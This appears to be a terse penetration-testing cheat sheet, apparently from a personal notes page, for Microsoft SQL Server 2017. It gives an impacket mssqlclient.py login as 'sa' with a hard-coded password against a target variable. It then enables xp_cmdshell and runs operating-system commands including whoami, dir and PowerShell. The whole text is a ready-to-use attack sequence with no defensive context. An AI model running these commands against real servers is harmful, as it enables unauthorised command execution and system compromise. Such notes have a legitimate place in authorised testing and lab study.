Skip to content

Microsoft SQL Server 2017 RTM

connect to db

/opt/tools/impacket/examples/mssqlclient.py -port 1433 sa:poiuytrewq@$IP
SQL>enable_xp_cmdshell
SQL>xp_cmdshell whoami
SQL>xp_cmdshell dir
SQL>xp_cmdshell powershell -c "ls"